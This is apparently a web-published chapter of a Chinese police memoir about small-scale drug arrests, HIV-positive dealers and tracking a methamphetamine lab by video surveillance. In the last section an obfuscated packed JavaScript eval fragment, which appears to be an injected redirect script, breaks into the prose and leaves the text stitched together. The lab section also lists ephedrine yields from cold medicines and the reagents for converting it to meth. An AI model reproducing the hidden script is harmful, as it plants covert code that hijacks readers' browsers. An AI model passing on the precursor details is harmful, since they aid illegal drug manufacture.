案件到此很顺利，证据链完整，就剩下送嫌疑人杨某去看守所羁押了，按照规定，先到医院体检。做B超时，医生告知我，嫌疑人杨某怀孕了。经常遭遇的问题，若干年之后，我考在职研究生的时候，面试题，有一题是判处死刑的犯罪嫌疑人怀孕的，应怎么处理，这道题让我很头痛。多年的刑侦工作中，经常遇见嫌疑人是孕妇，还能怎么办呢，先恭喜杨某吧，我告知她怀孕的时候，她很惊讶，估计也是刚知道，孩子父亲是谁，杨某并没有说，我们没办法当面恭喜了。看守所是去不了了，只能变更强制措施了。 根据杨某手机上线手机号码追查，我们找到一个疑似贩卖毒品的手机号码，毒贩经常更换手机号码，有的毒贩甚至备有几十个手机号码，遇到情况就换，有的一个号码就对应几名买毒品的吸毒人员，如果我们打电话过去，他会问谁介绍的，如果不是对应的几名固定人员，他会警觉把号码停用，这种事经常遇到。魔高一尺，道高一丈，充分吸取以往斗争中失败的经验，终于跟毒贩搭好线，约定在酒店嗨，开好房间在酒店等人送□□过来。我们的人埋伏在房间里，还有对面房间。 等了很久，终于有人敲门，打开门一看，是位个打扮时尚，身材高挑的美女，美女身高168左右，略瘦，年纪23、4岁的样子，一头乌黑靓丽的长发，梳得很直，自然垂到胸前，睫毛很长，不像是假睫毛，化着淡妆，面相较好，刚开始我们还以为是失足妇女上门推销呢，刚想问美女找谁，结果她直接说到，“冰”一个200元，送货的。我拿出钱，一手交钱一手交货，美女刚刚拿到钱，将一小袋□□交到我手上，转身要走，直接被我一把拉住她的手，一副漂亮的银手镯直接戴在她手腕上，当时就花容失色瘫坐在地上。这次我们早有准备，带了一名女工作人员，搜身后，我们准备打电话给毒贩，结果毒贩已经关机，应该已经惊动了，只剩下这个马仔。 美女秒变毒贩，我内心是不能接受的，这么年轻漂亮一个女孩，参与毒品犯罪太可惜了，不应该干这个的。经查，犯罪嫌疑人李某，之前在夜场上班，最近怀孕了，没有收入，受人所托，50元一趟跑腿费，过来送“冰”，雇佣她的是经常去夜场玩认识的一个男性客户，现在手机已经关机了。那几个月禁毒专项行动，我获评禁毒先进个人，办了很多涉毒案件，但是一周内，我遇上了两名孕妇送毒品，永生难忘。 贩子嫌疑人李某被刑拘，因怀孕，被变更强制措施，李某选择流产，六个月后被移送起诉，被判有期徒刑六个月；嫌疑人杨某，变更强制措施后，潜逃，被上网统计，大约两年后，我在青阳镇一个出租房内将其抓获。其实那次变更强制措施以后，没过几天，她就流产了。后来开始逃亡，直到被抓获。 一念天堂、一念地狱，当选择了毒品，就如同进了地狱。 五、冰封的归途 鞋都、青阳很多夜场玩的人，吸食□□被抓后，经常提到一个叫“峰啊”的人，批发零售都做。我们打击了一批吸食毒品和零星贩毒的以后，“峰啊”突然消失了，不再出货。有见过“峰啊”的人提到过，“峰啊”是本地人，长得很帅，经常开车过来送货（□□）。经过细致侦查，发现“峰啊”是鞋都某村人，年龄跟我同年，平时住在某村自建房内。道上传言他要洗手不干了。 经过实地勘查，他住的房子是一个石头房子，两层，有院子和铁门。技术部门支撑后确认，“啊峰”已经停止向外供货，不过还生活在本地，我们决定收网，动手抓人。 “啊峰”的房子位于一条河渠的边上，两层的石头房子，面积挺大，有个独立前院，用铁栅栏做的围墙，围墙上是很多类似于冷兵器的菱形枪头，加一个倒钩，不知道是否因为年代久远，还是海风带来的湿盐的腐蚀，整个栅栏都锈迹斑斑。 闽南的夏日，在海风的轻抚下，体感温度并不高，但是太阳的紫外线非常强烈，在太阳底下，皮肤能感觉到明显的灼烧感。情报显示，“啊峰”可能持有武器，这次抓捕没有动用特警，而是我们刑侦和禁毒合作，为了以防万一，我们都穿上了防弹衣，领取了武器。上午10时许，室外气温已经飙升到35度以上，从凉爽的车上下来，脚底传来大地的炙热，下车的位置离“啊峰”家相距100米左右，还没走到一半，我的备受已经湿透，防弹衣黏在我身上，我们走到家门口分成三路，两路守在房屋两侧，防止逃跑，一路进屋搜捕，院子铁门没有上锁，我们直接进入院内，这是典型的闽南风格的石头房子，每层至少8个房间，我们迅速扫清一楼，没有人，留下一个人守楼梯，其余人冲上二楼，我手按在腰间的□□上，脑袋幻想着嫌疑人会突然持枪出现，旋即双方激烈枪战，我迅速拨出手枪，同时上膛，举枪射击，连续射击，子弹打完，换弹夹继续射击，嫌疑人中弹倒地，我们过去踢掉嫌疑人手枪，环顾四周，寻找同伙。脑袋一遍一遍的重复着拔枪的动作。 已经通过前厅，摸到二楼东边的房间门口，因为开着空调，门虚掩着，我们推开门，嫌疑人在床上睡得正香，房间里物品杂乱，老式的红漆木质家具，已经有些掉漆了，桌子上，柜子上都摆着各种物品，电路板，电焊铁，在靠近窗户的地板上放着两把弓弩，我们悄悄走到窗前，一把把嫌疑人拖下床，他始料未及，直接趴在地上，摔了个狗啃泥，背后反手上铐，拿出证件，大声说了句警察，别动。“啊峰”还想挣扎，已经被我们死死压在身下，我用膝盖跪在背上，他一动也动不了，“啊峰”已经不再挣扎，我放松腿上的力度，他抬起头看了一下我伸过去的证件，确认了身份以后，他彻底放松了，我把他拉起来，坐在地上，让他看着我们检查房间，他家简直就是个仓库：除了两把弓弩和箭，还有一支运动□□，长一米左右，手动单次充气压，单发装填，使用6毫米□□，以前在民间很常见的枪支，因为杀伤力可以致命，后来被认定为枪支，持有被认定为非法，90年代末千禧年，警方多次开展收缴工作，民间还有有一些人收藏；在柜子里搜出一把气手枪，外观是大名顶顶的意大利名枪□□92F，充气式的弹夹，可以连发，使用6毫米□□，具有一定杀伤力，民间常被称为“□□”；刀具还有两把砍刀，多把匕首，折叠刀；在嫌疑人的鞋盒内，发现一包疑似□□晶体，看上去很像超市卖的冰糖，盒子里还有很多个塑料袋小包装，以及两个小电子秤，初步判断是用来分装毒品的，吸食□□专用玻璃壶，已经被熏黑，使用频率较高。我们正在四处搜索的时候，“啊峰”老婆从外面回来，被外面守候的同志，直接控制，带进了二楼房间。我们在房间继续搜索，出了一些拆开了的配件，再没有其他收获。 经检测称重，“啊峰”家中缴获的物品为□□，重65克。刑法规定非法持有毒品10克以上含10克50克以下，属于情节严重，判处三年以下有期徒刑；超过50克，属于情节特别严重，判处三年以上有期徒刑、无期徒刑、死刑。 尿检结果显示“啊峰”□□呈阳性，可以说明他短期内吸食过□□；其妻子丁某也，尿检也是□□阳性，可是她自称没有吸过□□，而且怀孕三个多月，我们也觉得可怕，推断她长时间跟“啊峰”在一起被动吸毒，类似于不吸烟的人，吸二手烟。那个时候，美剧《绝命毒师》正在热播，我只要有空就看，白老师制毒的水平绝了，吸毒人员的生活现状也描写的也很真实。毒品带来的巨大利润，可以吞噬人心。 “啊峰”承认自己有吸毒，拒不承认贩卖毒品的犯罪事实，只承认购买毒品用于自己吸食，按照刑法，涉嫌非法持有毒品，现场查获的证据，足够他在监狱里呆一阵子了，不过他拒不交代上线毒品来源。 通过前期工作，我们掌握了很多找他买毒品的吸毒人员，根据他手机里对应的信息和通讯录，我们找到了多名吸毒人员，主要是夜场娱乐场所从业人员，之前提到的那名跳舞的姑娘败光积蓄，吸食□□，最后人不像人鬼不像鬼，还有女生为了减肥去吸食□□，最后如同行尸走肉，出现各种幻觉，甚至裸体出门，毫无知觉。 经技术部门鉴定：“啊峰”持有的枪械中，一支枪械被认定为具有杀伤力，属于国家标准的枪支。 犯罪嫌疑人涉嫌贩卖毒品、非法持有枪支，案件移送起诉前，我到看守所最后提审他，离他被关进看守所过去了半年，整个人气色很好，也胖了很多，我跟他说我是救他一命，长期吸食毒品，很快就会一命呜呼，抓到他，可以物理隔离戒毒，他也想通了，跟我袒露心声，称自己之前年轻误入歧途，现在后悔莫及。 11. 第 11 章 六、追踪毒品交易 整个2013年，我干得最多的事情就是打击毒品犯罪了，头六个月，我主办了29起贩卖毒品案件，在“扫毒风暴”行动中被评为先进个人。 办得多，原因有多个：第一个原因，毒品案件大家都不愿意接，时间很紧，抓到人以后，七天时间内，要完成各项取证工作，确实很紧；比如二次称重、送检毒品鉴定，还要办理完所有个法律手续，每起案件填写各种报告书至少要去掉半天时间，而作为刑警，手头上也不仅仅只办这起案件，很多时候是多起案件同时在办理，还要值班、侦查案件、参与其他人的案件协助，例如抓捕审讯；第二个原因，可能是我办理的案件几乎都是零星贩毒，就是最小量的毒贩，毒贩们都是非常狡猾，很难往上打击上家，“啊峰”是意外收获，这种上家极少，通常情况下，他的上家与他几乎都不见面，他也不清楚上家长什么样子，我参与打击过的贩毒网络最少都有5级之多，那段时间我办理的大多的是底层这种，属于最后一级的，这种毒品案件相对简单，参与人数少、证据链在抓获的时候就已经完整，取证工作相对较少，同时取证比较容易，只要办理后续的鉴证工作，由于我可以同时办理多起，由于办理得多了，反而轻车熟路；第三个原因，是扫毒行动期间，其他警种也参与毒品案件的侦破工作，经常抓捕各种零星贩毒的毒贩，由于业务的原因，他们只抓补不办理，抓到人后再移送给我们，我运气不错，总能在值班的时候接到涉毒案件，不过因为不专业，考虑问题不够周到，上线基本被惊动，证据链缺失等，由于其他警种移送的案件有这样那样的问题，大都属于头疼的案件，没有人愿意接，最后我照单全收。我最喜欢收的是禁毒大队移交的小案件，禁毒专攻大毒品案件，我们配合，小的他们取证完就移送给我们了，证据都取好了，我们只要办理后期的鉴证走诉讼就行，办的还蛮舒服。 毒品追踪的工作，都是由禁毒情报队来做，有一次他通报一个线索，我们辖区有毒品交易，我们立即展开工作，在一个河边发现了通报的嫌疑人乘坐的车辆， 当时我们三个民警，开着一辆老款捷达，由我负责开车，我喜欢自己开车，我始终认为遇到紧急情况时，命掌握在自己手中好一点，我喜欢开车是掌握方向盘那种操控驰骋的感觉，尽管大部分的时候都是龟速混在车流中。一汽大众捷达是我们最忠实的伙伴，我们单位装备了很多，开着走大街串小巷，抓捕押送取证，车身小操控灵活皮实耐用，最重要的是空调好。有时我会把捷达当赛车开，手动挡就有这个优势，拉线油门，响应直接，转速拉到5500转再换挡，捷达的动力会超出你预期，我曾经硬是追上了逃命的飞车抢夺的摩托车，嫌疑人最后走土路，车速太快失去控制，摔倒后弃车逃跑，被我们抓住一个，能够当场抓获，非常不容易。我们早期警车高低顶的进口帕杰罗（大部分是□□集团提供）以外，也都是捷达，巡逻出警都靠它，后来政府采购支持本省企业，就换成三菱翼神，这款车整体性能超过捷达，车身也大一圈，舒适性好很多，毕竟一分钱一分货。 发现了嫌疑人的踪迹，但是毒品案件讲究证据，需要完成交易才能实施抓捕，整个过程控制很难，如果是我们乔装打扮去交易，还好控制一点，但是交易双方都不是我们的人，我们就比较麻烦了，很多时候都是白忙活一场。我制定的方案是，悄悄跟着，跟着嫌疑人，寻找战机。嫌疑人先是在某个店铺逛了一圈，接着去了大排档，在那里有几个人在等着他，坐下来喝酒吃肉，我留下两人看着，然后去肯德基打包了汉堡炸鸡，这是我们守候时能吃到的最好的快餐了，比那什么饼粉条面条盒饭好多了，也是我吃得最多的食品，由于长期喝酒吃肉加上这些洋快餐，我体重曾经飙升到170，直逼180，各种肥胖症状，制服全都小了，穿夏执勤服的时候，出现把扣子绷掉了的尴尬场景。 三人在车上以风卷残云之势吃完快餐，继续守候，盯着嫌疑人，内心是一万个羊驼飘过，会不会是情报有误，这样盯浪费警力，且风险很高，还容易被察觉，再次打电话确认，情报队告诉我，之前已经有两次的成功交易了，这次是第三次，嫌疑人暂时没有被惊动，做好对方随时交易的准备。 酒足饭饱之后，嫌疑人摇晃着身体，雇了一辆摩托车，我们悄悄跟着他，他丝毫没有发觉，摩托车严重新修的道路，一路到了一处空地，四周都没有建筑物，由于没有控制好距离，离得太近，只能慢慢向前，通过车窗观察，我们开到快要脱离视线的时候，让两民警下车，走路靠近过去，而我继续向前行使，离开嫌疑人可以看到视线范围后，再掉头返回。说实话这样做很冒险，相比起来我们每天都在冒险，这次根本不算什么。不过我们警力确实不够，这次行动十有八九会黄。我返回时，已经有一名小个子的男子靠近了嫌疑人，两人正在交谈，似乎是在交易，因为晚上路灯无法完全覆盖那块空地，很难看清楚，而我们人员完全是分散开，局势已经完全失控，事不宜迟，我立即跳下车一路奔跑向他们靠近，另两名民警看我跑，也从另一个方向，朝嫌疑人方向跑，两人已经完成交易，嫌疑人发现我们三个人跑向他，立即转身朝另一个方向跑，却被那名矮个子的男人一把拉住，我们上前将嫌疑人控制，按到在地上，嫌疑人满身酒气，还在在地上挣扎，小个子男子蹲在一边，手里拿着小包□□，也不跑，诡异的看着我们笑。 打电话叫来支援警力，将两人带回单位。原来小个子男子是情报队的线人，这次行动就是情报队安排的钓鱼行动。事先未告诉我们，当时嫌疑人要跑，线人一急就拉住了嫌疑人，才让我们得以成功抓捕，这次艰苦的追踪算是圆满结束。 七、绕不开的HIV 人类免疫缺陷病毒（Human Immunodeficiency Virus;abbr:HIV），艾滋病（AIDS，获得性免疫缺陷综合征）病毒，是造成人类免疫系统缺陷的一种病毒。1981年，人类免疫缺陷病毒在美国首次发现。它是一种感染人类免疫系统细胞的慢病毒（Lentivirus），属逆转病毒的一种。HIV感染者是传染源，曾从血液、□□、□□分泌液、乳汁等分离得HIV。握手，拥抱，接吻，游泳，蚊虫叮咬，共用餐具，咳嗽或打喷嚏，日常接触等不会传播。主要传播方式： 性接触传播：HIV存在于感染者□□和□□分泌物中，性行为很容易造成细微的皮肤黏膜破损，病毒即可通过破损处进入血液而感染。无论是同性还是异性之间的性接触都会导致艾滋病的传播。艾滋病感染者的□□或□□分泌物中有大量的病毒，在性活动（包括□□□□、□□和□□）时，由于□□部位的摩擦，很容易造成生殖器黏膜的细微破损，这时，病毒就会趁虚而入，进入未感染者的血液中。值得一提的是，由于直肠的肠壁较□□壁更容易破损，所以□□□□的危险性比□□□□的危险性更大。 血液传：人体被输入含有HIV的血液或血液制品、静脉吸毒、移植感染者或病人的组织器官都有感染艾滋病的危险性。 母婴传播：感染了HIV的妇女在妊娠及分娩过程中，也可将病毒传给胎儿，感染的产妇还可通过母乳喂养将病毒传给吃奶的孩子。 以上来自百度百科。目前有统计的数据显示，全球已经有超过五千万人感染，其中一千余万人已经死亡。实际数字不清楚。前段时间科学家在试险基因改造人类，实现对艾滋病免疫，引起了很大争议，科学界认为这是违背伦理的，非常危险，而且没有必要，甚至有人预测，这是人类自我灭亡的开始。我不懂科学，但是工作中还是会时常面对。因为艾滋病的传播方式，使得HIV在吸毒群体中极易传播，我见过的HIV病毒携带者全都是吸毒人员，没有一个例外。 曾经有一起命案，死者为男性艾滋病携带者，经过整容隆胸伪装成女性□□，被人杀死在某旧村出租房。那天我接到通知赶到现场参与案件侦破，现场位于一个旧村旧民居的小房间内，房间内非常凌乱，明显的打斗痕迹，血贱在墙壁和地板上，死者趴在外面巷子口，身下是一大摊血，法医检查后确认，死者身中二十几刀，胸腹部背部，流血过多死亡。案发时间在凌晨0时-1时之间，现场周边没有目击者，因为比较偏僻，人也很少。经检测死者血液，确认为HIV携带者，当时我们都吓了一跳，后来进一步侦查发现，死者跟一个□□团伙有关，当天浓妆艳抹到案发时已经接待了27个客人。我们把这个□□团伙的多名成员找到，才发现这是一个清一色男子的□□团伙，而且所有人都是HIV携带者，靠□□获得的收入购买毒品。有一个组织者出钱整容，把几个大男人隆胸，然后团伙成员一个个浓妆艳抹打扮妖艳出去□□，组织者再从中抽成，一般每个人每天都要接客二十多个，案发后，组织者害怕被打击，已经潜逃。这群人没有做变性手术，因为费用较高，生殖特性还是男性，加一对大胸，硬生生全部制造成人妖了。场面不忍直视。 经讯问，这些HIV携带者，几乎都是吸毒的时候共用注射器针筒感染的，少数几个则是吸食□□后性亢奋，于是□□未作安全防护发生性行为感染的。 感染HIV，如同跌入黑洞，生命开始进入倒计时，能活一天算一天，已经无所畏惧了，所以破罐子破摔，那位组织者确实有生意眼光，不过等着他的是法律制裁，所有的生命都应该被尊重。按照时间推算，那个案件的当事人很多现在已经痛苦的死去。HIV犹如一个黑洞，当你凝视黑洞时，黑洞也在凝视你，随时将你吞噬。 作为战斗在第一线的刑警，不管你是否愿意，HIV就像一个幽灵，时不时的冒出来。你越是怕，它越是会出现，HIV不是猛兽，不会出来咬你，但是它比猛兽可怕，挑战你的神经。当你选择与毒品作战时，HIV就潜伏那里，你得随时做好应对。 4月是个多事的月份，禁毒情报对通报收到的线索，线人发现一名□□毒品的毒贩，交易量很大，准备安排一名线人购买，让我做好准备。我安排值班警力，还有四名辅警，换好便装在办公室等候线人的消息。时间一分一秒的过去，等到太阳落山时，线人打来电话，称已经联系上毒贩，约好地点准备交易。 我们立即驱车前往，先在路上接到线人，把事先做好记号的现金拿给他，在现场附近提前下车，步行去预定地点。在某村的村委会旁大路边，一名圆脸皮肤较黑，穿着灰色上衣的男子，黑色裤子的男子，此时正在路边等候，因为天色较暗，我们将车停放在不远处的路边，人员分成三组，采取我常用的三角包围的方式，在那名男子牢牢盯死，线人走路出现，直接走到那名男子身边，掏出我们准备好的现金，男子从裤子口袋里掏出小包装的□□递给线人，几乎一瞬间，我们三组人同时冲过去，嫌疑人并没有要跑或者走开的样子，直接看着我们，站在那里，淡定的等着我们，我们立即将已经完成毒品交易的犯罪嫌疑人控制住，命令线人蹲下。后在嫌疑人身上搜出□□小包15包，还有我们事先做好标记的现金，四部山寨手机。 押回单位办理案件后续，贩卖毒品的犯罪嫌疑人袁某，圆脸大眼睛，皮肤较黑，缺乏光泽，我们已经短袖，他还穿着长袖外套，有些怕冷，身高约170，身体浮肿，明显感觉他行动缓慢，全身乏力，经核查，贵州织金人，那里是毒品犯罪的高发地，吸贩毒人员非常多，很多都是以贩养吸，犯罪嫌疑人袁某的尿检检测□□阳性，说明不久前刚刚吸食过毒品。我们询问笔录时，犯罪嫌疑人袁某很爽快，跟我印象中的贵州籍犯罪嫌疑人完全两样，更别提与其他毒品犯罪嫌疑人相比了，我见过的这两类嫌疑人，大多在被抓获后，表现出的各种狡辩、耍懒、演技派，目的是试图逃避法律惩处。哪怕是人赃并获，也要先抵赖一番。我眼前的袁某则大不一样，很温和，对我们的工作极为配合，有问必答毫无保留，甚至主动供述多次贩卖毒品的事实，难道他想长时间坐牢不行，经核查，其在贵州曾因盗窃罪在监狱服刑8年，难道他就是为了再次进监狱戒毒吗？没有理由啊，我心中一个巨大的问号。 由于袁某的积极配合，案件进展神速，其随身携带的毒品，全部为□□，称重总计6克，其携带的四部山寨手机，就是为了跟吸毒人员和上家联系，用于买卖毒品，这可是大生意。所有办理妥当后，开好所有的手续之，打印法律文书，准备送看守所羁押，这是袁某嘴角露出诡异的微笑。临出门时，他静静地跟我们说，他有艾滋病，架着他的两名辅警，几乎同时把手松开，身体不自然的后退了几部，跟我一次办案的两名新民警，脸色都变了，惊恐的看着我，嘴上全是“闽南式问候语”，如果看过台湾剧的朋友，经常可以听到的“撒林木”“干你娘”之类的，大概也是那个样子。我内心已经是十万头羊驼跑过了，强装镇定，快速的走到嫌疑人身边，牵着手铐，招呼大家准备去医院体检。 警车闪亮警灯，拉响警笛，一路疾驰，直奔爱国楼医院。车上民警都在吧唧吧唧骂骂咧咧，说被害惨了，我一路安慰，要相信科学。到了检验科，我说明来意，在医疗机构，艾滋病检测是免费的，不过要抽血，值班的是一名男医生，检验科工作强度并不高，医生迈着轻松的步子，面带微笑，戴着占用橡胶手套，拿用专用抽血针管，扎嫌疑人手臂，取了约几毫升的血液，拔针的时候，滴了一滴血液在操作台上，转身使用设备做检测，还用了一滴血做了一个贴片，放在显微镜下观察，看了约十几秒钟，脸上的笑容僵住了，脸色开始变得凝重，他没有说话，默默的把橡胶手套脱下，扔进垃圾桶，重新换了一双，拿起一大瓶消毒液，直接倒在滴血的操作台上，倒了大约半瓶，之后又把消毒液倒进扔手套的垃圾桶内。还不放心，接着拿了第二瓶消毒液，再次倒在操作台上。然后语气沉重的告诉我，等六个小时拿报告，因为要拿去疾控部门二次检测。 现场的民警和辅警已经没有人敢接触嫌疑人的身体了，不知道他现在是携带病毒还是已经发展到了感染期，如果只是HIV携带者，看守所是可以羁押的，但是进入感染期，就无法羁押了。 漫长的六个小时。我一直坐在嫌疑人袁某旁边，我几乎什么都没有干，脑袋里回想多年的刑警生活，一直处于快节奏和高负荷的状态，从来没有放松过，那六个小时，我基本上处于放松状态，我非常理解破罐子破摔的心里状态，我想起来老L那年被毒针扎到时的心情，还有两名新民警内心的恐惧，恐惧其实很多时候来自无知。这并不是我第一次接触HIV，网上能找到的资料，我都认真看过，血液在空气中存活的时间很短，传染方式也仅有三种，一般接触是不会有感染风险的，尽管如此，但是每一次，我的内心都很惶恐，小心翼翼，不能出错，表面还要装作很镇定。 我问袁某是什么时候感染艾滋病的，袁某告诉我，在监狱服刑额时候，故意感染上的，因为听说得了艾滋病可以不用服刑，当他得知有狱友有艾滋病时，就故意找他，然后感染，的上了艾滋病，但是没有被提前释放。他可能不知道，仅仅携带艾滋病，仅仅是潜伏期，监狱是可以继续收押的，没文化真是很可怕。出狱后，他跟随老乡，来福建务工，不久他又沾上毒品，收入不够买毒品，于是开始了以贩养吸的生涯，因为自知身上有艾滋病，他发现其他艾滋病人就算违法犯罪不会被处理，至少不会被关起来，所以，他开始毫无顾忌，别人贩毒都害怕被抓，他则不怕，什么人都敢卖，而且携带很多毒品，由于警方打击愈来愈紧，贩毒的都不敢活动，只有他“生意兴隆”。 疾控部门，经过发函到贵州，及与数据库核对，检测血液结果，最后出具了检测报告，犯罪嫌疑人袁某HIV已经过了潜伏期，处于第三期，具有传染性。拿到检测报告后，我办理了强制措施变更手续，嫌疑人袁某带着检测报告，满意的离开了。 此后，一年多，袁某又被抓过多次，每次都没有被羁押，因其多次贩卖毒品被查获，且数量次数非常多 ，社会危害性极大，最后引起了上级部门的高度重视，各个基层单位办理案件全部合并，移交禁毒部门专门办理，东南省专门建了监管医院后，被送往医院羁押。从那以后我再也没有见过他，只说听说有某个艾滋病因贩卖毒品最后被执行死刑。 八、突击制毒工厂 □□，原是一种药物，①预防支气管哮喘发作和缓解轻度哮喘发作，对急性重度哮喘发作效不佳。②用于蛛网膜下腔麻醉或硬膜外麻醉引起的低血压及慢性低血压症。③治疗各种原因引起的鼻黏膜充血、肿胀引起的鼻塞。 □□，中文别名：S-（R*，R*）]-a-1[1-（甲氨基）乙基]-苯甲醇盐酸盐，化学药品，本品性状为白色无味晶体，有吸湿性，遇光变暗。溶于乙醇、□□。 根据《危险化学品官安全管理条例》、《易制毒化学品管理条例》，本品受公安部门管制。□□是部分感冒药的的成分之一，能够缓解感冒时带来的鼻部不适，鼻塞、流鼻涕和打喷嚏是其主要对症解决的问题。但同时也可以通过并不复杂的化学转化，制成俗称“□□”的□□。 □□和□□的关系 □□能与□□搭上关系，全因二者化学分子结构的极近相似。□□化学名为□□，分子式为C10H15N，只比□□少了一个氧原子，所以又称“□□”。从理论上说，将感冒药中的□□提纯，并使之与盐酸、红磷、碘等进行反应、加工确有可能制造出□□。 据相关资料可知，一盒新康泰克(10粒每盒)可以提取□□约0.9克，一瓶100毫升的呋麻滴鼻液可以提取0.1克□□。如果有较高的工艺，1克□□就可以提炼0.75克的□□。目前，各药店对含□□成分的新康泰克、白加黑、日夜百服咛等数十种常用感冒、止咳平喘药限量销售，有的城市则对购买者进行身份登记，实行实名制购买。 本来人类发明这些物品目的是用于治疗各种疾病，但是由于特殊的化学性质，被人用来制造成毒品，天使转身一变就成了魔鬼。 为了打击毒品犯罪，我国是严格控制易制毒品的化学原料，所以私自生产买卖此类管制物品都是违法，超过一定数量就构成犯罪。 毒品的危害是毋需多言的，社会危害性极大，不仅仅是危害人民身体健康，更可怕是带来的社会危害，由于极易成瘾，每日必须使用，否则痛不欲生，因为毒品需要很多钱，很多人为了获取钱不惜铤而走险，毒品往往伴随着其他违法犯罪。盗窃、抢劫、□□、诈骗等等，有些人使用毒品控制他人，从事犯罪活动为自己牟利，很常见涉黑团伙和□□组织。打击毒品犯罪维护社会稳定要从源头打起，公安机关从未放松过打击。 2014年4月，禁毒大队大队长找到我，通报了一条线索，有制毒嫌疑人F在晋江出现，怀疑其生产制造毒品原料，要我想办法使用视频手段侦查一下。 猫鼠游戏正式开始。 F是福建龙岩长汀某镇人，这个镇的人都会一种江湖绝技，使用简单的工具，合成生产毒品原料“□□”，俗称制毒技师。通过情报数据研判分析，我掌握了F的一辆交通工具，一台白色标志4008SUV，F驾驶这台车经偶尔返于龙岩和当地，那段时间我每天都通过视频，仔细查看他的活动轨迹，看看是否有异常。 通过查看F驾车的活动轨迹，他很少去其他场所，似乎没有工作，在家呆的时间很长。不定期会去龙岩，回来后就在其与老婆的居所里呆着。这很其实反常，他的经济收入成迷。 这天他照例开车去龙岩，回程下高速时，没有按往常直接回住处，而是向市区方向走，走世纪大道南拓，消失在路口，追踪目标消失，这事有意思了，经过反复查找，就是消失了。显示屏上，还停留在实时视频和历史视频两个画面，但是历史视频中已经找不到F的白色标志车了。画面上的时间一分一秒过去，车子一直不出现。正当我无奈的时候，实时画面中，一辆白色SUV一闪而过，这不是F的车，这离它消失在上一个画面已经过去了5个多小时，他去哪里了？ F驾驶车辆在两个摄像头之间消失了五个多小时，连个摄像头前后距离不过两百多米，其中后一个是球机，就是可以360度转动以及放大缩小的，安装在世纪大道南拓路口一栋高楼上，通过转动这个球机摄像头，我看了一下周边的地形，世纪大道南拓最后一段，在这里形成一个弯道，如果不拐弯的话，就是大片的民居，拆除的费用惊人，为了最佳方案，道路的设计者使用了一个接近90度的湾，绕开了整个村。这是安海镇系西村，世纪大道最后几百米将西村一分为二。 西村常住人口3000人，背靠灵源山的最南端。 灵源山高三百零五米，唐代称“太平山”。据说是因山顶高且平而得名，又以其山形如飞鹏称为“大鹏山”。宋时，因见山中“时涌灵源”而称“灵源山；灵源山是泉南一座名山，山上有泉南最享盛名的寺庙之一灵源寺和众多古人留题的摩岩石刻。自古名山僧占多”，相传早于隋初，就有僧人于灵源山顶立寺祀奉观音大士，常有紫云盖上，故号“紫云寺”。传至五代，有高僧一粒沙由此往开龙山寺。唐代又有道士蔡明浚来庵隐居，与寺僧守净共同扩建。宋仁宗嘉祐元年，御史吴中复、吴中纯昆仲于此隐居修道。元末明初，陈友谅举事兵败，其骁将张定边亦遁于此山，削发为僧，号沐讲禅师并建新寺于山腰。经历代僧众保护修葺，千年古刹灵源寺现已成为泉南最享盛名的禅林之一。到灵源禅寺当地修了一条盘山公路长约3.5公里,灵源禅寺门口是一个旅游广场，一到夏季晚上，就是各种烧烤、夜市的地方，因山上较为凉爽，很多人会选择夜晚徒步爬山到禅寺然后走下来，山上就很热闹，喝茶的，唱歌的，喝酒的，完全不像佛门清静之地。 我爬山走过一次，不过大部分的时候我都是开车上去的。那条路弯弯曲曲，双向两车道，路还可以，哪个是当地比较高的山，一路上都是农家乐，因为游客较多，按照规划，我指导当地社区在整条路上都安装有监控，监控联网到整个视频专网，我在办公室都可以看。近些年，政府调整发展思路，多种渠道建设，市政府还投资修建了灵源山公园，吸引游客，半山修了转么的便道，用于骑行和步行，我倒是经常去那里跑步，作为整体规划一山一水散步道的起点，公园修得很漂亮，而且结合山势，贴近自然。 就是这样一个风景秀丽的山下，政府整顿，严格控制工业生产，污染的企业全部关停或搬迁，空了很多厂房，大部分的厂房都是业主自建的，缺乏规划，因为在自己村里，之前属于管理盲区，加上政府放开经济发展，鼓励创业，所以有些不合规甚至不合法的企业建起了不少厂房，后来逐步清理，一部分强制，一部分自己经营不下来，关门歇业。 安海西村也不例外，沿着路边是大片的村民自建房，石头房子、砖混结构、全框架混泥土结构的都有，各式各样，房屋间距很小，车辆进出拥挤。西村的东南面是规划的工业园区，靠近安海镇区，有标准厂房，也有大棚式的厂房，工业园区有大大小小几十家企业，每家企业几乎都有自己的围墙，和各有特色的大门。从远处望去，工业园区杵立着大大小小的烟囱。西村的西北面是山脚下，离居民区几百米外是一处特高压的变压站，当地工业用电是没有问题的，过了变压站，还有一处较为隐蔽的当地人自建厂房房屋，这些建筑没有规划，沿着路边建，有的是围墙，有的是独栋，有一些是民居，也不密集，相互之间有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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我们策划在路口安装一个监控设备，结果到案件结束，因为各种原因都没有安装成功，倒是外面路边的两个球机发挥了巨大的作用。通过对F的进一步视频侦查及数据分析，其增加了交通工具，一台五菱宏光面包车，这台车从龙岩过来，也时常出现在西村。领导推断，F开始召集人手了，要求我们盯紧他。中队仅有的三个人开始三班倒，对行车轨迹，人员活动进行分析跟踪。 一个星期后，有新情报称，F有大件的快递来，直接是一台小货车过来，可能是制毒工具，这批工具始发地是广东，进入福建后，我们开始跟踪这辆车，是一辆白色的厢式小货车，小货车直接从晋江下高速，沿晋光路拐入世纪大道南拓，直接开到了西村，一路开到变压站那条路，过了之后我们没有监控，就看不到去哪里，但是那边就只有不多的几家自建厂房了。大家一致认为货车去卸货了，地点有可能是仓库或者制毒工厂，必须要赶过去看看，但是如果现在贸然过去，肯定会被发现，就会打草惊蛇，制毒的嫌疑人非常狡猾，有一点风吹草动，都会被他们发现，一旦惊动，必然是停止制毒，转移地点，确认安全再继续制毒。一般制毒，一年的生产期仅有半个月，剩下的时间都是，找地方，组织工具，原材料，再就是销售，基本上都是一年换一个地方，反侦查意识极强，毕竟制毒，刑法上的制裁是非常严厉的，不过制毒也是利润非常高的一个行当，大多利润里都在20倍左右，都开玩笑说，最赚钱的行业都在刑法里写着，有时候真的觉得是这样。 